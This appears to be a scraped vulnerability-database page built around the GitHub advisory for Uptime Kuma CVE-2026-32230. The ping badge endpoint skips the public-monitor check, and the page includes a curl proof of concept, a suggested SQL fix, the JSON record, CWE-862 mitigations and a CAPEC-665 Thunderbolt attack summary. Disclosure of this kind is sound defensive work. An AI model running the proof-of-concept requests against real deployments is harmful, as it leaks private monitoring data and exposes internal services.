  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI Has Improper Access Control Leading to Arbitrary Prompt Read"
}

GHSA-C7HF-C5P5-5G6H

Vulnerability from github – Published: 2026-03-12 14:47 – Updated: 2026-03-13 13:35
VLAI
Summary
Uptime Kuma is Missing Authorization Checks on Ping Badge Endpoint, Leaks Ping times of monitors without needing to be on a status page
Details

Summary

The GET /api/badge/:id/ping/:duration? endpoint in server/routers/api-router.js does not verify that the requested monitor belongs to a public group. All other badge endpoints check AND public = 1 in their SQL query before returning data. The ping endpoint skips this check entirely, allowing unauthenticated users to extract average ping/response time data for private monitors.

Affected Code

File: server/routers/api-router.js, approximately line 304

The ping badge endpoint directly calls UptimeCalculator.getUptimeCalculator(requestedMonitorId) without first checking if the monitor is public. Compare with the status badge endpoint (~line 148) which correctly queries:

SELECT monitor_group.monitor_id FROM monitor_group, `group`
WHERE monitor_group.group_id = `group`.id
AND monitor_group.monitor_id = ?
AND public = 1

Protected vs Vulnerable Endpoints

Endpoint Has public=1 check?
/api/badge/:id/status Yes
/api/badge/:id/uptime/:duration? Yes
/api/badge/:id/avg-response/:duration? Yes
/api/badge/:id/cert-exp Yes
/api/badge/:id/response Yes
/api/badge/:id/ping/:duration? No — vulnerable

PoC

  1. Install Uptime Kuma (tested on latest v2 stable via Docker)
  2. Create an HTTP(s) monitor (e.g., monitoring http://localhost:3001)
  3. Do NOT add the monitor to any public status page or group
  4. Wait for heartbeats to accumulate (~5 minutes)
  5. Query unauthenticated:
curl http://localhost:3001/api/badge/1/status   → returns N/A (correct, monitor is private)
curl http://localhost:3001/api/badge/1/ping/24  → returns "Avg. Ping (24h): 10ms" (LEAKED)

Impact

An unauthenticated attacker can: - Enumerate private monitor IDs - Extract average response time data for private monitors - Infer existence and reachability of internal monitored services

Suggested Fix

Add the same public monitor check before the UptimeCalculator call:

let publicMonitor = await R.getRow(`
    SELECT monitor_group.monitor_id FROM monitor_group, \`group\`
    WHERE monitor_group.group_id = \`group\`.id
    AND monitor_group.monitor_id = ?
    AND public = 1
`, [requestedMonitorId]);

if (!publicMonitor) {
    badgeValues.message = "N/A";
    badgeValues.color = badgeConstants.naColor;
}

Screenshot 2026-02-24 at 4 49 40 PM

File Alons til View He

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "uptime-kuma"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32230"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T14:47:39Z",
    "nvd_published_at": "2026-03-12T19:16:16Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `GET /api/badge/:id/ping/:duration?` endpoint in `server/routers/api-router.js` does not verify that the requested monitor belongs to a public group. All other badge endpoints check `AND public = 1` in their SQL query before returning data. The ping endpoint skips this check entirely, allowing unauthenticated users to extract average ping/response time data for private monitors.\n\n## Affected Code\n\nFile: `server/routers/api-router.js`, approximately line 304\n\nThe ping badge endpoint directly calls `UptimeCalculator.getUptimeCalculator(requestedMonitorId)` without first checking if the monitor is public. Compare with the status badge endpoint (~line 148) which correctly queries:\n```sql\nSELECT monitor_group.monitor_id FROM monitor_group, `group`\nWHERE monitor_group.group_id = `group`.id\nAND monitor_group.monitor_id = ?\nAND public = 1\n```\n\n## Protected vs Vulnerable Endpoints\n\n| Endpoint | Has public=1 check? |\n|----------|-------------------|\n| /api/badge/:id/status | Yes |\n| /api/badge/:id/uptime/:duration? | Yes |\n| /api/badge/:id/avg-response/:duration? | Yes |\n| /api/badge/:id/cert-exp | Yes |\n| /api/badge/:id/response | Yes |\n| /api/badge/:id/ping/:duration? | **No \u2014 vulnerable** |\n\n## PoC\n\n1. Install Uptime Kuma (tested on latest v2 stable via Docker)\n2. Create an HTTP(s) monitor (e.g., monitoring http://localhost:3001)\n3. Do NOT add the monitor to any public status page or group\n4. Wait for heartbeats to accumulate (~5 minutes)\n5. Query unauthenticated:\n```bash\ncurl http://localhost:3001/api/badge/1/status   \u2192 returns N/A (correct, monitor is private)\ncurl http://localhost:3001/api/badge/1/ping/24  \u2192 returns \"Avg. Ping (24h): 10ms\" (LEAKED)\n```\n\n## Impact\n\nAn unauthenticated attacker can:\n- Enumerate private monitor IDs\n- Extract average response time data for private monitors\n- Infer existence and reachability of internal monitored services\n\n## Suggested Fix\n\nAdd the same public monitor check before the UptimeCalculator call:\n```javascript\nlet publicMonitor = await R.getRow(`\n    SELECT monitor_group.monitor_id FROM monitor_group, \\`group\\`\n    WHERE monitor_group.group_id = \\`group\\`.id\n    AND monitor_group.monitor_id = ?\n    AND public = 1\n`, [requestedMonitorId]);\n\nif (!publicMonitor) {\n    badgeValues.message = \"N/A\";\n    badgeValues.color = badgeConstants.naColor;\n}\n```\n\n\u003cimg width=\"1228\" height=\"710\" alt=\"Screenshot 2026-02-24 at 4 49 40\u202fPM\" src=\"https://github.com/user-attachments/assets/80aeae2d-be08-449f-8b39-c50da7aaedba\" /\u003e\n\n\u003cimg width=\"1271\" height=\"770\" alt=\"File Alons til View He\" src=\"https://github.com/user-attachments/assets/d50c9a00-282a-4b79-b5e1-f77afde9223a\" /\u003e",
  "id": "GHSA-c7hf-c5p5-5g6h",
  "modified": "2026-03-13T13:35:38Z",
  "published": "2026-03-12T14:47:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/security/advisories/GHSA-c7hf-c5p5-5g6h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32230"
    },
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/issues/7038"
    },
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/issues/7135"
    },
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/commit/303a609c05d0b174a5045c90f53c2b557d4febae"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/louislam/uptime-kuma"
    },
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/releases/tag/2.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Uptime Kuma is Missing Authorization Checks on Ping Badge Endpoint, Leaks Ping times of monitors without needing to be on a status page"
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.